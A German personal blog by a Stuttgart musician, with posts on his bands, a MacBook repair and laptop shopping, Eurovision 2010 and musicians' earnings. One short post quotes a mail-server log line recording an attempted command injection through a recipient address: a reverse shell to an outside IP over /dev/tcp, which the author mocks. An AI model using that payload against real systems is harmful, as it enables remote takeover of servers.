Neuigkeiten aus dem Kartellamt

  • Jawohl – diese jungen Herren sind das Funk-Kartell und so wie’s aussieht, werden sie im Sommer wohl einen neuen Keyboarder mit rotem Keyboard dabei haben. Im Moment sind wir noch (meiner Einschätzung nach) in einer „Beschnupperphase“, aber ich bin guter Dinge und das Kartell ist ein Haufen äußerst funk-hungriger Intensivgroover. Das ist ein Angebot, das ich nicht ablehnen kann.
  • Eine verloren geglaubte Musikerin ist wieder zurück im Schwabenland. Mehr verrate ich, sobald wir wieder an was spannendem arbeiten.
  • Außerdem sind noch andere Dinge in Vorbereitung, die wir in die Kategorie „Strategische Entscheidung“ einordnen…

Nutella Hochzeitspaar

Das waren die Würfel

Gerade auf der Würfelseite gesehen:

der Würfel, der diese 10 Mal hinter dieser Veranstaltung stand und wirkte, wird sich bei diesem Konzert endgültig von euch verabschieden. (Quelle)

Trotz dass es wohl irgendwie schon klar war, dass die FSC-Zeit hinter uns liegt – schade ist es. Ich möchte allen Musikern, Gästen und Publikanten herzlich danken. Insbesondere natürlich allen FSClern, die mich an tollen Stücken dieser Reise haben teilhaben lassen.

Kleiner Applaus

Neulich hatte ich das Vergnügen, mit meiner Liebsten einen größeren Töpfermarkt zu besuchen. Während sie also auf die Jagd ging, zog es mich mehr in Richtung der kleinen Bühne, wo das Kasperltheater grade rum war und ein einsamer Gitarrist sehr in sich versunken schöne Melodien produzierte (ohne den ‚Hut‘ übrigens).

Ich war als Publikum nicht ganz alleine, am anderen Ende der aufgestellten Bänke ruhten sich ein paar ältere Damen vom Bummeln aus – die Musik war für sie meiner Einschätzung nach eher Hintergrund – ich bin nicht sicher, ob sie den Musiker überhaupt wahrgenommen hatten.

Als das Stück fertig war, setzte ich zu einem einsamen Applaus an. Zu meiner Überraschung drehten sich die Damen zuerst zu mir um und stimmten dann – zögerlich –  in den Applaus ein. Das wiederum zauberte ein Strahlen auf das Gesicht des einsamen Gitarristen, der dann deutlich weniger versunken, aber genauso schön weiterspielte.

Fazit: Applaus ist ansteckend und macht Künstler glücklich.

Operation gescheitert, Patient unverändert

So haben wir uns das vorgestellt:

  • Ersatzteil (der Inverter) kommt per Post
  • Macbook aufschrauben
  • Inverter tauschen
  • Macbook zuschrauben
  • geht wieder

Leider wollte das mit dem letzten Punkt nicht hinhauen. Jetzt hab ich einen nagelneuen Inverter im Panel und trotzdem bleibt das Licht aus. Schade – aber den Versuch war’s wert. Da sämtliche übrigen möglichen Verdächtigen zu teuer sind, als dass sich ein Austausch lohnen würde, wird das Teil jetzt wohl oder übel durch ein Neues ersetzt.

Notebook kaufen ist ein furchtbarer Sport. Ich habe fast die gleichen Probleme wie dieser Spezialist… Mit dem Unterschied, dass ich nicht fundamentalreligiös gegen Macs bin – muss aber auch keiner sein. Wichtig ist, dass Cubase drauf läuft, also Windows oder OSX (oder auf Cubase für Linux warten…)

  • Es gibt fast nur noch Spiegeldisplays. Was mich daran ärgert ist, dass die Dinger als besser verkauft werden, obwohl sie einfach nur billiger sind.
  • Die Bildschirme werden immer kleiner – erst 16:10, dann 16:9 – Vielleicht toll für Leute, die gerne Filme auf dem Notebook gucken (Warum?) – zum Arbeiten schlecht – grade weil einen die neueren UIs mit übergroßen Toolbars (Ribbons) zuballern, ist es saublöd, die Y-Achse zu verkürzen… Als Grund für dieses Größenverhältnis vermute ich ebenfalls einfach Kosten – Jetzt kann man die gleichen Displays in Notebooks und Fernseher bauen – ob es sinnvoll ist, scheint wurscht zu sein.
  • Es ist bei vielen Versendern schwierig bis unmöglich, rauszufinden, ob das jetzt ein mattes Display ist oder nicht. Bei Dell konnte ein kurzer Ausflug in den „Sales Chat“ klarheit schaffen: Alle „Privatnutzer“-Notebooks spiegeln, fast alle „Business“-Notebooks sind matt.
  • Lautstärke, Hitzeentwicklung (vor allem wo) – steht nirgends im Datenblatt.
  • Die Giftigkeit der Biester ist für mich auch ein Thema – aber da muss man sich extern informieren.
  • Wo sind die Lüftungsauslässe. Mein erstes Toshiba hatte den Lüfter im Boden. D.h. Notebook auf dem Schoß (oder auf einer Tischdecke!) bedeutet baldige Notabschaltung wegen Überhitzung, weil der Lüfter verdeckt wird. Viel nachgedacht wird bei der Konstruktion dieser Dinger wohl nicht so oft.
  • Quad-Core oder Dual-Core? Bei modernen Dual-Cores sind die einzelnen Kerne wohl flotter als bei einem Quad – dafür hat ein Quad eben doppelt so viele davon. Hilft aber nix bei Software, die nicht auch alle 4 ordentlich ausnutzen kann. Gerade bei Musiksoftware hab ich da so meine Zweifel, ob ein DualCore da nicht schlauer wäre.
  • Garantie – möglichst 3 Jahre oder länger. Und kompetente Bearbeitung (also nicht Gravis) eines Reparaturfalls.

Derzeit schwanke ich zwischen einem Latitude E6510 (hat alles, sogar Firewire und eSATA) und einem neuen McBook Pro (dann muss ich nicht umsteigen und nicht neuinstallieren). Beim Mac stört mich vor allem die Tatsache, dass es keine ordentliche Garantie gibt. AppleCare wird zwar von allen gelobt, aber ist recht kurz (2 Jahre) und dafür ganz schön teuer. Und Gravis geht auch nicht, weil ich geschworen habe, keinen Cent mehr bei denen zu lassen (enttäuschter Kunde und so).

Kurz hatte ich gehadert (billig sind die Dinger ja nicht) und die  Bestellung bei Dell sogar schon fertig gemacht und mich dann am Ende doch noch für ein Apple-Gerät entschieden. Da ich nicht direkt bei Apple bestellen wollte (auch wegen des ungerechtfertigen Preises von AppleCare) und Gravis mich schon zu oft enttäuscht hat, hab ich es diesmal bei Cancom bestellt.

Außerdem lese ich grade, das Apple wohl gerade die ungiftigsten Notebooks baut. Das beruhigt doch das Gewissen ein klein wenig 🙂

Lena for Grandprixident

Ja, wir sind gestern schwach geworden und haben den großen Schlagerpreis angeschaut. Mein persönlicher Grund war, dass Stefan Raab mal wieder die Finger drin hatte. So schlecht der Humor dieses Mannes auch ist, musikalisch ist er nicht nur erste Liga, sondern auch ein Musterbeispiel an Seriosität, auch und insbesondere (seinen) Musikern und Künstlern gegenüber.

Also was haben wir, bei Grillwurst und Erdbeeren, gesehen?

  • Der Spanier Daniel Diges hat sich wohl aus der eigenen Fanbase einen (wohl recht bekannten) Flitzer eingefangen. „Jimmy Jump“ (Das stand auf seinem T-Shirt) ist, glaubt man Google, wohl ein berüchtigter Flitzer aus dem Dunstkreis des FC Barcelona. Dem Auftritt vom Diges hat es meiner Einschätzung nach nicht geschadet – Die Wiederholung am Schluss war trotzdem nur fair.
  • Norwegen hat ein Double von Kai Pflaume ins Rennen geschickt. Den mögen die Europäer dann wohl doch nicht so besonders.
  • Den Euro-Dance-Trash aus Moldau (oder heißt es doch Moldavien?) fand ich mutig, das Stück selbst war aber schlecht und – verdient – sehr weit hinten.
  • Vukan Brajic aus Bosnien-Herzegowina wurde als Rock-Nummer angekündigt. Ich hab lange darauf gewartet, dass er anfängt zu rocken und dann war das Lied zu Ende…
  • Milan Stankovic (Serbien) hatte schon im Voraus Bonuspunkte, weil sein Stück von Goran Bregović war. Außer dem coolen Bass und Bläsersatz war da aber nix weiter.
  • Griechenland schickte Bruce Willis mit einem Stück von Dschinghis Khan. Ich fands cool 🙂
  • Was haben sich die Briten gedacht? Das Land, das ständig so viele geniale Künstler hervorbringt, bringt ein Scheißlied, billig produziert und amateurhaft aufgeführt. Noch nicht mal Müll – das war eindeutig was für die Problemstoffsammlung. Letzter Platz und wohlverdient.
  • Extrapreis für die gruseligsten Tänzer an Georgien.
  • Die Türkei hat eine Band geschickt. Wie cool ist das denn? Eine ganze Band! Eine ECHTE Band! Das hat sich dieses Jahr sonst keiner getraut. Verdienter zweiter Platz – ohne Lena wär’s vielleicht ein Sieger geworden. Von mir dicker Bonus, weils eine echte existierende Band war und weil sie ein eigenes (!) Lied gespielt haben.
  • Den rumänischen Gig hab ich nicht verstanden. Da stand ein… öh… Plexiglas-Klavier. Ein Leeres. Also nix drin. Und auf beiden Seiten saßen Leute, die darauf… öh… nicht gespielt haben. Bonuspunkte für den Underworld-Look, aber an das Lied kann ich mich nicht mehr erinnern…
  • Nach allen Stücken hab ich versucht, mich zu erinnern, wie das Stück der Franzosen ging. Bester Versuch war „go, go, go – Allez, Allez, Allez“… aber das war jemand anders
  • Bester Kommentar zum Outfit der Russen: „Die brauchen definitiv Backstage-Pässe.“
  • Zu Lena brauch ich ja nix zu schreiben, das machen alle andern 🙂 Glückwunsch.
  • Israels Harel Skaat singt ein Stück, dass verdächtig nach Mireille Mathieu klingt. Nur hat Mireille das mit dem Tönetreffen deutlich besser gekonnt.

Insgesamt haben wir uns königlich amüsiert, natürlich wieder massiv gelästert, gemeckert und später auch festgestellt, dass Peter Urban sicher noch nie vorher im Fernsehen ein Interview geführt hat (und das vermutlich auch nie mehr wird machen dürfen). Mir hat’s gefallen.

Arme Musiker

Da lese ich im Internet-Käsblättl und an der (diesmal sogar verlinkten Quelle) mal wieder das übliche Geheule. Die armen Künstler verdienen nix. Diesmal ist das Internet zwar nicht schuld dran, aber es hat die Situation auch nicht besser gemacht.

Ich verstehe das Geheule nicht. Für 95% der Musiker und Künstler hat sich – rein finanziell – schlicht nix geändert. Natürlich verdienen (bis auf ein paar Ausnahmen) Künstler wenig. Das war schon immer so. Kunst ist eben in den meisten Fällen brotlos. Deswegen machen die meisten Leute das als Hobby.

Ich sehe da kein Problem mit. Kunst ist Kultur – Kultur ist per se unverkäuflich. Wer dennoch versucht, nur von seiner Kunst zu leben, dem bin ich nicht böse. Viel Glück. Viel Erfolg! Aber ich glaube nicht dran. Klar gibt es eine ganze Industrie, die davon (noch) lebt. Aber ob es die noch lange gibt… wer weiß. Die Hüter unserer Kultur sind diese Moloche nicht. Ganz im Gegenteil. Sie behindern ihre Weiterentwicklung.

(Ich bin kein Gegner des Urheberrechts, oh nein. Nur das derzeitige Verwertungsrecht mit all seinen hässlichen Auswüchsen stößt mir übel auf.)

Je besser die Laune…

… desto niedriger der „Output“.

Ich brauche wohl nicht zu erwähnen, dass meine Laune schon länger auf höchstem Niveau verweilt :). Wer weiß, vielleicht steigt der Output trotz Superlaune wieder, aber im Moment genieß ich das erstmal so.

Benehmt euch!

aus meinem Mailerlog:

postfix/local[6866]: warning: 8B6ADDA44: address with illegal extension: root+:|exec /bin/sh 0</dev/tcp/92.243.5.144/9991 1>&0 2>&0

tsk tsk… geht’s nicht noch ein bissel plumper? Ich bin ja kein Security-Experte, aber das…

Der Rausschmeißer

Das fällt mir hier immer wieder auf: Man ist auf einem Konzertchen (z.B. gestern wieder im Blauen Haus) und schlagartig geht ungefähr die Hälfte der Gäste. Auf der Bühne werde ich da reflexartig unsicher. Sind wir langweilig? Haben wir irgendwie signalisiert, dass Schluss ist? Spielen wir schlecht?

Gestern (und in den allermeisten anderen Fällen) war die Ursache die „Letzte Bahn“. Deswegen ist der Abschied des Publikums auch so zahlreich und so plötzlich – wer jetzt nicht geht, muss Taxi fahren.

Ich kann mich immernoch nicht daran gewöhnen, dass im Stuttgarter Dunstkreis nachts keine Öffis fahren (Nein, die Krücke „Nachtbus“ lass ich nicht gelten).